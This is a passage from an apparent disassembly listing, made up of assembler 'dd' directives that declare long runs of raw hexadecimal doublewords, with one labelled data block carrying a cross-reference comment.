0EBD6D39Dh dd 0B94C9822h, 3FF4C757h, 0CA54BA3Dh, 88E0FF2h, 56F0AA7h dd 6849C872h, 7B4DC52Fh, 167D490Ah, 0FFE7BFDCh, 5B30D4ADh dd 0B252A901h, 0ABF28039h, 0CA43C07Fh, 66E6FE36h, 7E14E5FDh dd 0F21698B3h, 0B13B974Ch, 0EC433C44h, 0CEC931C8h, 7088C45Ah dd 9B2EE137h, 692C2DA9h, 0B26B5D21h, 0E0CC92F7h, 17284FE9h dd 94DBF9A6h, 0C118105Bh, 764C680Bh, 383207F3h, 9FAC5E2h dd 3268FA86h, 58806D1Bh, 5F8DC257h, 2140EFC1h, 0BF807287h dd 0D755394Ch, 0B8090758h, 33F0D009h, 1E23660Bh, 3C1ADF60h dd 0E49360F5h, 49CD9CD8h, 0F1DF9BD5h, 9C29676Fh, 0B97F5F25h dd 10D35C07h, 268F22F7h, 0DF0C8052h, 2F43CD96h, 0D6DB42h dd 0DDFC1B16h, 3075EBD7h, 0E55B244Fh, 0E3217BF8h, 0BA00A932h dd 5242D42h, 19011956h, 31C6914Ch, 0F54C807Ah, 4295044Dh dd 6B7C5934h, 57025400h, 753BCCBFh, 0F9291325h, 308C2DEBh dd 33255385h, 9D85871h, 0BEB718C2h, 3865F381h, 6A5DCEECh dd 59080538h, 688728EBh, 18E31152h, 0E0876062h, 9FD4C908h dd 246FCC7Ch, 9F8C35FBh, 6790F68h, 37A57E36h, 0DBFA9318h dd 23858406h, 9806BA0h, 0F3834224h, 0A80BB05Ch, 630F5459h dd 1003A1F1h, 0CF5EBDBBh, 4FF0A02Ch, 2D157F1Ah, 0A1E4455Ch dd 0F030405h, 0A6B52E89h, 0C4944F1h, 9C41E273h, 84498A3Eh dd 1CD01E53h, 517CC3F6h, 0E02BCF48h, 28627919h, 65D0211Ch dd 0C44AFC9h, 4DE7E917h, 120124C8h, 0BD665E46h, 0FFC1610h dd 6C0BDB56h, 2E2C276h, 0BFD85A9h, 0C1EEE025h, 3851B761h dd 0E5129FE7h, 25857C37h, 4E87984Bh, 6070FCCAh, 0A2CDE321h dd 2F24853Ch, 0B9073C4Dh, 767BFD3Fh, 0EDE90606h, 96BA8435h dd 3BC36230h, 2DCDFBC1h, 8676F593h, 0C4224D40h, 1E2FE3Dh dd 77216FC7h, 697D34E9h, 7F9655FBh, 8D85BFB3h, 3261AAF3h dd 3C126BBFh, 0E995A2DDh, 0B5825845h, 7235F4F0h, 0E1F90E3Ah dd 9C082065h, 0FD272924h, 0E0E9545Fh, 48C9CD95h, 4246FE95h dd 0CCF57B4Fh, 1744305Bh, 50EDD112h, 6F35B804h, 10BC20A7h dd 0F885813Dh, 0BA083F0Bh, 59C7AE2Ch, 0F4A719D7h, 81D6D4DCh dd 810E7898h, 3A0DCE2Bh, 0B92A19BEh, 0F8C60311h, 94E601C1h dd 0E9CB20EEh, 48F738CFh, 1E483D58h, 0DB04D304h, 50007902h dd 0B15137B4h, 3328884Fh, 0F6614CB7h, 0F65D285Eh, 3234B4A1h dd 163A0B5Dh, 6D35A036h, 2D1D2F05h, 5B8B29E9h, 71581E7Ch dd 60609E54h, 657717C1h, 1662BA75h, 85CA310Ah, 6A886661h dd 4DFEEE57h, 0F05BDAFCh, 5412875Eh, 1CB95D9Ah, 8921E7C5h dd 625B4190h, 72CF4063h, 80B8DD49h, 0FB9930E7h, 1B435905h dd 0CDBADFF7h, 76CBDB44h, 6FD661C1h, 74E993E0h, 524597AAh dd 59C1123Eh, 0B1026DA3h, 256CE405h, 2C459460h, 30024076h dd 0E938F815h, 5C750FDh, 98046805h, 685AA1Ah, 8BB5D0ACh dd 18F34A18h, 5F20C820h, 49988809h, 0CC088003h, 0B5953CBh dd 52B5F676h, 7DC451F1h, 17C0F294h, 25BC3DC5h, 725E2968h dd 2AFA0820h, 5C26026Ch, 0B8D040ADh, 0EC76A705h, 8D892D57h dd 67FBC13Ah, 62247AFCh, 79B907EBh, 43565C3Eh, 1195E813h dd 0E542F9ECh, 0ABA6134Eh, 0B04A4B9Eh, 0FF32E97Eh, 5D5D901Bh dd 123E46F9h, 77A8302Dh, 0BF421AA1h, 68C3040Ah, 509852AAh dd 0C447131Dh, 64A38059h, 2B17B054h, 4704EAC1h, 0AF137E17h dd 61C43612h, 8CB9C30Ah, 0E0D7908h, 1DC2BE56h, 0E2405C71h dd 8CB45D78h, 9747708h, 0C9DED0F7h, 0FF710939h, 9057F00Ch dd 0CEF4FAB4h, 0DAC08024h, 0B652C1FEh, 0C60A5678h, 0BBD6F6E0h dd 0B04BC537h, 3C9EBB6Bh, 0AC5E9C13h, 1EE982FCh, 3CB9006Bh dd 12653A48h, 61EAC958h, 6B361B9Fh, 950FFD31h, 24F79C2h dd 0D328CAB2h, 0F2A5D451h, 9C989A73h, 0EB80F8C7h, 0D528F725h dd 920B2E04h, 7F7FEE6h, 176E273Ch, 0E6923927h, 0D5F7B280h dd 51BDC06Eh, 0EC712FBCh dd 16CA044Bh, 32A28ABh, 8ABD5B4Eh, 0E189C5CFh, 0C0020562h dd 1E7FFA94h, 482EFE62h, 0F1B12ACCh, 69BA00E6h, 0E0365F27h dd 2B734041h, 0E1C15212h, 48030DA0h, 0B04F5883h, 65E4D716h dd 0FA17D92h, 5FBA538Eh, 55E0E2FAh, 7B7E90EAh, 0C425337Fh dd 2534469Ah, 31580CE8h, 84339721h, 17E280E9h, 0A6F81729h dd 0B60AC1ABh, 0E4B2B5A7h, 0D3C019A2h, 916934C5h, 0C00B802h dd 4F3B18F2h, 0D024518h, 0D9E97476h, 0D4C5FF43h, 0EF02B0A4h dd 0C33B4154h, 83D011B2h, 0AB365EE8h, 590C9CA7h, 1C04EB51h dd 75D05E9Bh, 7E910ABh, 803CE912h, 87D3F72Fh, 134EDE3Dh dd 0FADFB3Ah, 7E43C525h, 0C1780C25h, 0F32F5819h, 13E140D6h dd 0A00DB548h, 95CA2166h, 0F6520AFCh, 1E9893A6h, 5B96EADFh dd 0B1CDC88h, 0EB9D34E3h, 9C607E09h, 8081721Dh, 4FC6E908h dd 9390F62Eh, 16E58953h, 0A82ECEE1h, 4BC5D0FBh, 2E882DFBh dd 98BBBD81h, 6C6310BEh, 92251CA6h, 518B95Fh, 0C74252FCh dd 3282C1Eh, 84A504D8h, 538BA04Fh, 0B1E0544Bh, 4F1BE860h dd 0CF02E556h, 0AE060A2Ch, 4E7F0A01h, 813A091Dh, 4D3EBFDAh dd 76EC2FE7h, 0A55B1EA1h, 7007887h, 0FB76FFEFh, 0E13FE215h dd 0BF834E5Fh, 0EF47C4F2h, 0E0E99D44h, 5916C9ECh, 0DF899AFDh dd 8F620832h, 0B0A0C55Dh, 7954F932h, 85D54869h, 0C3D09380h dd 123DBA52h, 0B07C828h, 5B98021Ah, 8030D4B1h, 5E4F4C1h dd 0EF719E01h, 1808A586h, 859C479Fh, 82F9F766h, 0DE0A301Ah dd 35B00543h, 0AA3A83D3h, 9675A261h, 2DEBFF55h, 0ABBB0527h dd 0CB3EC79Dh, 0B828443Eh, 0B46EA441h, 0CB6225E9h, 43CD3110h dd 3A16C884h, 2B147E44h, 2F34C84Bh, 0A54FADECh, 0DFF2DB13h dd 58EDA910h, 0EEEA026Ch, 0DE6C3574h, 9508A089h, 2A6C665Ch dd 0FD09059Bh, 0D5D1E91Eh, 13DCAC98h, 2CEAC889h, 60AE94Dh dd 98672F05h, 5B5CF501h, 40DB293Ch, 0EC52081Ch, 0C2D4922Ch dd 55092D72h, 342E9BFCh, 4604870Bh, 52C8341Fh, 8A25BFF5h dd 19091C01h, 1D2958B0h, 690F3101h, 40E7D14Ah, 3250700Ah dd 0CAE9461Eh, 64775CA7h, 2A92F1FDh, 0F33E0FA1h, 9CB25AFDh dd 0AACB9C6h, 76415E27h, 26784E24h, 0D3096F6Bh, 4CA312Bh dd 411F1126h, 0E521A1F7h, 0AFF8E11Ah, 0F6360F2Eh, 3B5EBECh dd 0C9605C0Ah, 0AC64E1ECh, 3C0BE5C0h, 0D37CA12h, 17021C08h dd 9111D85Dh, 0FB05C068h, 784E0803h, 488832EFh, 0E3EEFCD8h dd 0F38B639Bh, 0B59F35Eh, 0F8DEA98Ah, 0CEE65F49h, 5ECD6817h dd 0B151DE30h, 0CE8809B9h, 0A3208DE9h, 49536850h, 1D294FC4h dd 65E90423h, 28322B35h, 0C5574B0Fh, 1CA728D9h, 747080D6h dd 65501821h, 8FE90247h, 55D0C0ABh, 3217C168h, 66E463CBh dd 1EADFD90h, 18359E6Ch, 6CED75ECh, 52D9680Bh, 151AB0FDh dd 0C13414A1h, 0F502FCE5h, 508A8C84h, 229CC80h, 0D4A07EC6h dd 8677E951h, 0B9817DB2h, 3AB13FEEh, 93D05021h, 0DEB6030h dd 4A9C76E1h, 0C5FAE914h, 88F9D3A4h, 0D7168C2h, 273BC5F7h dd 66C20CFBh, 1E7283FFh, 0F6BB841Fh, 715927DAh, 0CAE2E92Fh dd 64471891h, 0CDEC55F1h, 0FEF52341h, 0F45FD998h, 63C13EC9h dd 923B80C6h, 56F7D9F7h, 0DCD451ADh, 0FC442989h, 427367E0h dd 8271147Eh, 0F8685743h, 956FCD16h, 0D509C273h, 0F773A39Dh dd 0E3C199DBh, 0F381B9F3h, 547031F9h, 20BB8193h, 0F7AFD5Fh dd 45C44C4Ah, 527A9AAFh, 3681914h, 647B5414h, 500E90B4h dd 61016852h, 5A5DBF66h, 0A630DAF7h, 0C67F1302h, 7C9F0062h dd 0E9C48D9Ch, 4CCD6A35h, 7E91CAAEh, 0AB84130h, 97436C68h dd 19F0431h, 0B03F0F04h, 0C54EEE15h, 0DA30390h, 0C07D605Eh dd 66B24CE7h, 188AF8BFh, 28392EE9h, 0CFE086B7h, 95484AF2h dd 62BBD30Eh, 7BFA4464h, 0F6DFD42Dh, 4968509Ch, 516A30BFh dd 9255AA11h, 9A517545h, 2DAF54C9h, 17EA217Eh, 28EE2C17h dd 5D7DCB4Ch, 1E197458h, 649D5707h, 416ABA4Ah, 0F689509Fh dd 8C6254EBh, 0DACD8126h, 9AA85B4Ah, 0D686ECA4h, 9CDC86C1h dd 0EFEC8000h, 82975CB0h, 0C2C388EAh, 0BE30E077h, 85D414F7h dd 0F125FBFBh, 0F05FA9C2h, 0A8BB435h, 0C935B896h, 615B6A05h dd 33EB3C99h, 80813B7Ah, 6B3E5282h, 1757D329h, 0BAE885E9h dd 0B05C0F6Ch, 70670128h, 0F06815B3h, 0CF793C17h, 1906A1CFh dd 0D16DC731h, 5597FD18h, 3A12F2F5h, 0BA205A68h, 3CED07E4h dd 345B0116h, 5D0C0BC8h, 0E108CADBh, 58C24F3h, 4351343h dd 506ABBDh, 0B4B21704h, 0EE00BE93h, 5297B450h, 13E64C88h dd 27DC0710h, 58D2F458h, 10C2B2C4h, 7E59CA88h, 3508585Ah dd 6564082h, 7ED81F1Ch, 67920B4Fh, 0DFF26B66h, 68680097h dd 0BB4D33h, 910D584Ch, 0F7784831h, 0A3E9D009h, 0FAC024D5h dd 138ABA25h, 6E2D8647h, 50C902D1h, 7CB925EEh, 9909212h dd 0C1C4397Fh, 0CFE4953Dh, 1B371D5Ch, 6CE28656h, 0F2F8A24Dh dd 3B12A50Ch, 13E12446h, 0EC30CE91h, 172F1ABEh, 535F7ED4h dd 7515A0F1h, 9042BD3h, 0E812EE3Eh, 0E868019Ch, 0CA8748A1h dd 0ECF262Bh, 2C950890h, 6058EE51h, 329F9242h, 68130F1Ch dd 62BA0BF5h, 39D010CBh, 51D7BA06h, 964331Fh, 73FA2B8Ah dd 1D2CF256h, 0A84A9210h, 0C8082F8Ah, 0C75FD11Ah, 72FD3118h dd 6771887Ah, 8F97B622h, 0AF5BCA2Eh, 60A422A7h, 0AA1457F4h dd 8B36282Ah, 10CAE502h, 5F526F19h, 0D9F75F90h, 90A8A2EEh dd 602CC2BAh, 53184FF8h, 0B6A16851h, 1BFC25CBh, 9FEDDFFAh dd 51088F19h, 0A60AA83Ah, 7C24BF1Dh, 5C60F0F6h, 205B44BFh dd 27B0E7D6h, 0F2F9E0Ah, 2718B42Eh, 137DC2DBh, 54F381Bh dd 0E45AB49Fh, 80E1422h, 0B6858E2h, 5C21C66Dh, 8F50C8D4h dd 752F4EDCh, 0D8AEF4B8h, 7468E6A8h, 35A91454h, 4EA74149h dd 0A402DB84h, 61F22903h, 3E69D580h, 7033B340h, 0E92BE12Ah dd 34FF9317h, 0B0BAAF6h, 0D1D80491h, 3604E83h, 27DDEB91h dd 0C013112h, 54D950A5h, 0F430FB29h, 0E30A595Bh, 3D239902h dd 0F3633175h, 8525C29Bh, 3302E558h, 0CC9991B4h, 0F595202Fh dd 21760973h, 0E8BCE16h, 0F66F01AAh, 0D9FF4E9Bh, 0AD986F01h dd 122B6DAh, 3E7D94BAh, 55528520h, 8F053C13h, 0AEE29B77h dd 0FE44EE97h, 0C087FB3Bh, 5D009934h, 0E737472Dh, 9E62ECE5h dd 0E6DDB2A8h, 0C10DF9A2h, 0E57E450Bh, 4C4D67ACh, 0B6B14BEDh dd 1F1CCF2Bh, 0CC654709h, 203130E1h, 7105B9C8h, 8541AB24h dd 20EF0434h, 0CE3AB8F5h, 0F5E2DA60h, 0FC41364Fh, 9D9E9ACAh dd 5DE987D6h, 5F201C16h, 0C1810210h, 3D2682D3h, 1DFC5F70h dd 0D9010A24h, 8A020CECh, 0C162740h, 21ED2FE1h, 4D88CAE4h dd 0F27C860Bh, 35D8B70Dh, 18E36816h, 0A308C261h, 0B9FE10ADh dd 5C3B62F2h, 0B0575A11h, 0BC7CE5F8h, 69C66258h, 0BE624F76h dd 515956AFh, 0C6217ABFh, 2C127784h, 54580C64h, 0D427241Fh dd 3E888F51h, 823EE5C6h, 76CE19EFh, 521F642h, 0B3384D68h dd 3BB9173Eh, 0FAE02D94h, 13FA6AE3h, 0B4AE0BABh, 33C76130h dd 0C10A9304h, 0E3EA07EDh, 1D6601B3h, 0FCE962E4h, 0D016412Dh dd 0AB40AE5Ah, 343170C3h, 9D39B871h, 0B252DB01h, 53ECE00Dh dd 8781F58Ah, 20D888F5h, 0E041368Eh, 1664B741h, 5DC17D2Ch dd 3B3A6D03h, 0B23F6EC9h, 0A1E9E0D5h, 2464B5FBh, 8BFD29Dh dd 0FA2618A5h, 21054101h, 2D9C178h, 168A0830h, 65DA1Ah dd 7159CB83h, 0C65C0167h dd 1B53E13Eh, 0D54CE139h, 6B51F501h, 288927FAh, 0E4F312BEh dd 0A0D2BEB8h, 0D406F91h, 14E9BD5Dh, 0D136C76h, 5A525854h dd 9B90070h, 4BC4D915h, 52BDE358h, 85464F48h, 9C8BAAF5h dd 7033F986h, 7B3C2D0Fh, 4F407D21h, 2949081Eh, 8252B0D8h dd 4FF85508h, 1740AB4Ah, 7F3694E5h, 0FD870C14h, 0E908D7F7h dd 4E8AEE2Dh, 3FA29DB8h, 715192B0h, 109E801Fh, 224AC9CBh dd 0B040A02Dh, 377704F2h, 0A08A34C1h, 57139D49h, 6BB531Fh dd 5058D44Bh, 23E925BAh, 0BC6D25E2h, 352FEA4h, 20319A8h dd 45B8CD37h, 6F4214AFh, 0F921FA0Fh, 0FF5ED715h, 0FC68A3C9h dd 0EA503129h, 598036CCh, 0B652035Bh, 0E5F68014h, 0E9C6E698h dd 0D1F1582Fh, 40173CB3h, 41D1CD4Bh, 29D199E2h, 9E8591Dh dd 9B2472Fh, 12878AAh, 0D63844C3h, 3B8FE93Ah, 5D338E0Bh dd 78B89E39h, 7AF4C1ECh, 0C831F8Eh, 6BE449Bh, 6307F801h dd 0DFE93534h, 0EC563864h, 0B9BA4B0Eh, 8BDECF46h, 46F5083h dd 286BD6BEh, 228B8043h, 1A4BDC51h, 814A2E9h, 5200C646h dd 4B45F239h, 6B53A3E9h, 575D78FFh, 0F7532429h, 0D788C005h dd 0F9822A82h, 0AFA544CDh, 0D4474609h, 0A47B01C5h, 6BD5F706h dd 0B6D01884h, 4AA0596Eh, 0A6751E4Ch, 62B98159h, 7C0C3368h dd 544CE1h, 6728456Bh, 7B9CE681h, 0C8636069h, 97E55A9h dd 430BFB90h, 0FF9AB76Dh, 8773938Ah, 90A6A68h, 4EB4EF7h dd 0C8396105h, 0D0AAC46Dh, 33B032F7h, 50058AA3h, 0A187F4CAh dd 3000208Eh, 0E9476B4Bh, 48B720E5h, 0C7280D29h, 3A40476h dd 0EC052CF0h, 0FCF7E94Dh, 53AF49AFh, 409D1AD5h, 81EB140Eh dd 234CD851h, 272D0CC1h, 8D70C256h, 70551D8h, 12143D4h dd 0BA5215D9h, 30042C51h, 81FAEA6Fh, 116CCA0Fh, 4302F226h dd 0E0F43DC2h, 686747h, 0D0012816h, 1721BF57h, 504AB127h dd 1E449D7Ch, 544C470Ch, 16B60C31h, 0AB55AA23h, 2D634503h dd 3C180533h, 90D3198Bh, 48055A46h, 7ABC1C4Eh, 0E76F8012h dd 20FE581Ch, 0D580055h, 0E56545Dh, 74285935h, 0C515D576h dd 4FFF09E9h, 3805BBE9h, 0EF136022h, 2C405A00h, 8BEF2941h dd 60E91109h, 4238A2F0h, 62CC571Eh, 8C6CD5F5h, 29577F83h dd 15506243h, 0C80C2A74h, 5816252Dh, 0C1087CFEh, 83FD25F4h dd 20B428Ah, 6B65CDD5h, 9CCB3776h, 9DBE638h, 89E97C17h dd 814455AAh, 0ECBD659Ah, 393225EEh, 2BA85820h, 4AB06A61h dd 0DC707E09h, 733C007Ah, 5F7E3C8h, 8BE9F289h, 0BAB1932Eh dd 6FA16AD9h, 0F9BCF4C0h, 0E9974493h, 0E3DAD931h, 84762229h dd 29CE6C17h, 0EC8F5431h, 9C680B99h, 93345F1Fh, 5406ABBDh dd 23CACFh, 193A2EA8h, 92721E9h, 0E7789001h, 2291FB3h dd 8127923Eh, 42F12108h, 5F113BBBh, 0C52BA37Ah, 21A3535Eh dd 0C6250C4Ch, 0ED925DD6h, 6675BF07h, 0D13590B2h, 576396A3h dd 0AF953485h, 6EC18AF0h, 96CE2CD4h, 2ED028E9h, 512BA05h dd 46BB480Fh, 4DAF79Bh, 8909EB9Eh, 0A0127D82h, 82A01C51h dd 0B12D25E6h, 0F6F87012h, 9442D6Eh, 0F45A2A50h, 55293FC2h dd 8341B3C4h, 77E4017Bh, 70470A7Fh, 4648074Eh, 731D007Ch dd 67E933B1h, 0AE3ED619h, 0F181E800h, 5F9E4720h, 58E2E373h dd 9FF6000Eh, 13E9C0A2h, 0C19ABD0Ah, 36050D82h, 36A91B0h dd 49CC5C95h, 90C17350h, 71A570B9h, 3DC3D03Fh, 0E9E21335h dd 0BEF50B2Ah, 0E401D9E9h, 292D5E30h, 0CEA0A2EEh, 23D924Fh dd 51A17180h, 827FC9F3h, 1E05533h, 7FC1895Eh, 2117DFDEh dd 90ECFC8h, 576FD568h, 7055F0B1h, 4FF0E235h, 0E6BD051Ah dd 0C253500Bh, 68565DC2h, 0E4667975h, 0AF588101h, 943547Eh dd 8A44ADB1h, 0F082A39Eh, 0E12D1D6Ah, 772B07ABh, 2C5C4141h dd 0C5E0C2E0h, 801C79B5h, 0E81667C5h, 44BE5204h, 0F7E4E903h dd 2EE3BF84h, 0FD5C572Dh, 2CBE5FC5h, 0D7B280BAh, 803CDE97h dd 0B3C0D47Fh, 28A4D701h, 9FE9551Dh, 5BE0D667h, 0F8E95509h dd 28727109h, 0A753B5B9h, 50E6E942h, 4082A082h, 3F87037Dh dd 0E705202Dh, 0B9F35B8h, 0E90DC504h, 6BA3AB12h, 5DFCAF9Dh dd 78E95CD0h, 0FF014EB2h, 0B0B21535h, 9D82BE93h, 5FF8D8D5h dd 0B4A9F851h, 0E90BE2B7h, 3F5E43F5h, 577E2662h, 0E4BF0846h dd 1C6827B3h, 8165FD7Ch, 0DEACCA0Ch, 0F0A49F28h, 164AA8F5h dd 6F04B753h, 0C10252F4h, 0E3FE08E3h, 0FF89FA1Ch, 5ECD729h dd 56FDC9Dh, 0A8660569h, 8D939EC0h, 5A68E428h, 816BF9BDh dd 6FEA4BA0h, 0A5C9D16Eh, 0B8208475h, 3B805F46h, 9F737E35h dd 0D22E6CF8h, 62CF8F52h, 615A407Fh, 8760EF4Ah, 91F89099h dd 0D5BFBC17h, 85D8F8DBh, 80BA792Eh, 525A5BC2h, 3D44709Dh dd 0F79F3807h, 40409ED0h, 0E97A8405h, 9F949736h, 74E26B6Eh dd 0C41597AFh, 96B7AF47h, 2FAD023Fh, 0CDCAA9E8h, 3EC1390Bh dd 2973824Ah, 3C37E72h, 32F6E9D1h, 0C3BFB005h, 80BB0D4Fh dd 0BA5014CCh, 90215B5Ch, 0D85D3C08h, 0CAE90C44h, 0DBB70D3h dd 6DED1F0Fh, 761A92D5h, 8F6BCA29h, 37E05F0Bh, 5A34438Fh dd 41DF3DA0h, 0C96647DDh, 0E2F457A9h, 920E9707h, 7E3AC68h dd 0B3780AF7h, 9F1C8999h, 55270D32h, 0FE954416h, 0D42DAD1h dd 952579D4h, 0EC3F0BA7h, 7F1774CCh, 7D01286Eh, 71C45E25h dd 13DD7A70h, 0A9861180h, 0C22BD1CEh, 44C56EE9h, 68060A7Dh dd 8232224Bh, 19BEE954h, 0C917D6h, 3767D038h, 0FD01345Ch dd 77081274h, 6B23F82h, 57FD720Fh, 595E55Ch, 7C561AA6h dd 73D104AAh, 0F5CAFE47h, 0A5129B26h, 29B17948h, 0DB94014Ah dd 571069ACh, 0C2090B67h, 8373C258h, 9230023Ah, 2FD656A2h dd 0B85B39E4h, 298D685Eh, 0F9E25014h, 0FD41646Ch, 0DEB18122h dd 0E67870F4h, 673AD50h, 1457656h, 1E0BD4CBh, 844B8506h dd 0E9030552h, 645B2A37h, 88F94129h, 5904213Ch, 0A85BF830h dd 4BA6DFBCh, 2D633C08h, 2D1E7ADEh, 7F5723C5h, 0B06B08A9h dd 890515DDh, 3229EDE9h, 5A16027Fh, 0E17463C0h, 3E22A550h dd 0C1E488B4h, 0B7559F00h, 0E9F90116h, 0ACEB4B04h, 0D95F187h dd 219A416Ah, 6F65DF58h, 0C310A0A6h, 0D3E9C63Bh, 0F5313B3Fh dd 0AD7CF1AFh, 0E2908164h, 4828A64Eh, 0AD0B301h, 0B668E909h dd 0C383327Dh, 0C3082D01h, 68F4BB50h, 44233627h, 0F62C30C5h dd 0A8AEEF5h, 2516C395h, 0BC555690h, 1A5497F6h, 0D171E979h dd 4DD8BEADh, 8ECF8100h, 534CFA4Bh, 1C5600BBh, 0D9E936D4h dd 5995011Bh dword_4F0044 dd 0A8D44B71h, 143D1639h, 48572A28h, 0F09205BFh, 0FE63EC64h ; DATA XREF: ___:004385A4o dd 24AD666Eh, 1FDBD8F0h, 11DBF026h, 457BF840h, 51287C30h dd 30379DEBh, 670C4C02h, 562F4772h, 166A1459h, 0E48E48E9h dd 0EA4AC0C3h, 0CB7605E3h, 6DC249F3h, 2788C6D5h, 0D8E0EAC1h dd 1D24A9ABh, 832DBBC4h, 0B29605D5h, 8BDD84DAh, 0BC581C8h dd 5461161Ch, 87AA8D5h, 2EF05E16h, 737C5849h, 0ED27011h dd 0BE8B151h, 0B7F270CAh, 53BD5596h, 22DD250Dh, 509CE935h dd 0EEBE02E3h, 56613B5Eh, 68D13748h, 5D0C1B18h, 0FA28857Ah dd 0D483E18h, 2DCC088Bh, 0B37BA55Fh, 1C8B9BD1h, 0AFFE692Fh dd 9FB3E41Fh, 6341F1CAh, 4AF34A58h, 43B52BFh, 647E1310h dd 4FB5A87h, 95C251E0h, 73465FFDh, 1C91FAF2h, 38075F69h dd 55EB20DEh, 0A05EA8E9h, 54F5231h, 2025ECC2h, 0BF0584E1h dd 69CF11BBh, 31C420AAh, 1C4CDC20h, 0A1B14ADFh, 2A5FD93Eh dd 0EED23FF7h, 800C7A98h, 0E794A219h, 457A662h, 10DAAE5Fh dd 9A75506Bh, 6BA0FF89h, 0A3427EEAh, 1054D48h, 69A52270h dd 2E82DA01h, 7B941AC7h, 6790C0FAh, 6D8D795Eh, 52F70F3Eh dd 0ECDABCA5h, 830A9E15h, 5D425320h, 0E932572Dh, 56C5ABF6h dd 72FEABC8h, 8C66BCEh, 0D8130F5Eh, 88AE9CABh, 0D9D3F75Ah dd 0CE01E2AFh, 0EBAB808Eh, 861A4C10h, 0BD552876h, 3950B508h dd 31BF584Ah, 817121FCh, 730FB983h, 0E36E4A95h, 84B24CEEh dd 95BEFCF8h, 0E306AE06h, 7F3A9039h, 70B96EADh, 6C872D01h dd 0D8C8604Fh, 0E9070550h, 26D24259h, 0D4E22158h, 25890B8Dh dd 0FF250B7Eh, 0A2BFC81Ch, 10685128h, 76EE5059h, 72C34B07h dd 32800D58h, 5BE93F51h, 0B2B316CCh, 22FAA5B7h, 60544480h dd 0BF10DD52h, 0E340A1E9h, 0B95FFA68h, 9529288h, 0B174239Dh dd 8069C52Fh, 7163AFBAh, 0E24CD17Dh, 7D904F7h, 94AC35D0h dd 0B87B0C58h, 4D3A0018h, 85681583h, 8D690DA5h, 2770CCh dd 4E4C5125h, 11763566h, 45EAF076h, 0CC68753Ch, 14E83B8Ch dd 2DCB43E2h, 886CC7CFh, 5C17E2DCh, 0DFF8F517h, 3138EF4Bh dd 0A5688083h, 0B43F3462h, 678F0907h, 0A33A3C84h, 391D013Fh dd 5FE97641h, 0B62BA231h, 0BE56014Fh, 586F0C1Ah, 0E9FD242Fh dd 0C3819375h, 0FCC21F67h, 7ED58C57h, 510BC69Bh, 0C2352817h dd 0FFE24081h, 0D2F2DC2h, 0F18990E0h, 0E984DC9Eh, 7ACA669Eh dd 4EF70776h, 0C01FD478h, 0A07762EFh, 27DA204Ch, 268652D9h dd 96803C0h, 43FEFA09h, 92EAF558h, 57140B07h, 427425FEh dd 82FA5B58h, 0A5208A66h, 16057D02h, 0B3AF142h, 165DB2CCh dd 119E809Dh, 40860D62h, 2AED701h, 0AFF65A08h, 4FA1AC3h dd 2254CE35h, 0EE72C017h, 68027ECBh, 1AB8E96Eh, 40F7FE01h dd 8CF317Ah, 856E5B4Ch, 0E594C7E9h, 308197AFh, 27582D52h dd 71528698h, 7E9C09E3h, 0C660078Bh, 0F7E85AD4h, 8A74059Fh dd 4FF88322h, 0D609448Eh, 0F57C4776h, 0ABE2F1C0h, 0D680632Fh dd 72591977h, 62F82EBFh, 97DE9627h, 0B249AACh, 0A402888Fh dd 0FFBCCD1Eh, 290D0C93h, 9290F6D3h, 0C701075Bh, 3F8B4D3Dh dd 6A7E8230h, 390A20Ch, 7F2D5EC0h, 0B2E84EC2h, 0E13FC141h dd 9D09F403h, 5EA9ED88h, 7F680994h, 61C27A10h, 0F57238B4h dd 0EE0BB6CCh, 0C069477Dh, 0D21E1D8Fh, 5882B864h, 912A1994h dd 36F8BE36h, 0C03958E7h, 68072048h, 0B5E85AA3h, 0B0C4945Dh dd 0E22C803Dh, 0A53BE867h, 0D94B2076h, 9D6FC218h, 80436CAh dd 7543AA59h, 940445FDh, 2668E6C8h, 0E9A62641h, 69166382h dd 7F0C5709h, 300CF63Ah, 0E462E72h, 71C413C3h, 29FE498Bh dd 144A4223h, 0E997E495h, 49B58D7Fh, 3AFCA014h, 48629745h dd 0B679484h, 33BD5866h, 282CE2EAh, 0A42DBBECh, 0E8F8E5D1h dd 0B566E82Ch, 4DA061D0h, 15A2619h, 9868FCD0h, 0BE68A82Bh dd 5440799Fh, 1EBAA91Dh, 30490F5Ch, 3F4CBCC6h, 0B5E9113Eh dd 88BF8F96h, 0D541EC7Bh, 52C34D42h, 440CD77Bh, 0FACB0187h dd 0B83B58E5h, 0A8BD5E15h, 16838850h, 4273E54h, 18D7288Fh dd 82D913FEh, 0BDA75AD5h, 4430D051h, 15C605D0h, 0A71E7D67h dd 3EB66A59h, 1682B909h, 42E80220h, 5E46917h, 6F84857Ch dd 0D6BE01F3h, 802F2622h, 576B06B9h, 0D2F02924h, 559C0822h dd 8BB0E017h, 4BEDB551h, 0E9F12982h, 80F8C817h, 59E23AC3h dd 6835EB3Ch, 33970625h, 5A252224h, 5380DD21h, 22BB73AFh dd 0E8E6816h, 52E81960h, 0B0364AA6h, 600DFA5h, 0E5D14171h dd 0C4E7CAE9h, 0F3F030E3h, 0C30C78E6h, 0ECE14CE9h, 56330FB8h dd 5E4B60C5h, 0DB77D7E2h, 5963E4Ah, 31062842h, 188281A2h dd 0A5815BEBh, 4825B568h, 37128851h, 4F84BE7h, 5880C04Ah dd 0BFF8DD44h, 96BE2A02h, 75DF29AAh, 7772B042h, 89972898h dd 0BA96556Fh, 78897196h, 329CD7E4h, 354E6871h, 0A3BA3524h dd 0CAE5A18h, 179058EDh, 1AD90316h, 0EBCC4FBAh, 51480FEh dd 16B9514Bh, 0ABE8452Eh, 70E9C901h, 0E1D833BEh, 7469380Ah dd 85A420FAh, 8AB6814h, 1E02D380h, 40454A73h, 82AA4068h dd 0B7121076h, 0A56113A1h, 0C7D1F26Eh, 7CC0C32Dh, 50F80168h dd 5EE90705h, 0A97D124Ah, 8C489F48h, 7AE90613h, 78B7EB45h dd 2D6F0965h, 0E757446Dh, 2DE12CBBh, 0F9BE7CD9h, 33D72E2Ah dd 613ADC97h, 742BE950h, 68125E93h, 1C603D93h, 985522B0h dd 0B8BE0A05h, 19F9D4Ah, 2D04C9CEh, 0E0C845Fh, 8EC2FB07h dd 82415CD6h, 9841AF9Eh, 2C8B440h, 89BD14F2h, 796257B3h dd 74E90B02h, 685831C8h, 0E604642Dh, 9D31E0B1h, 0F71CEF48h dd 291D2E08h, 88D325CAh, 549FE905h, 4BA1E1FCh, 0E31781FCh dd 457E6649h, 0D321972Eh, 0BC2FD7D9h, 0D56529DFh, 2203716h dd 0CAE295B3h, 919FB84Ch, 8C63F346h, 7F0B1E92h, 731C1001h dd 0DA4B6849h, 478FB198h, 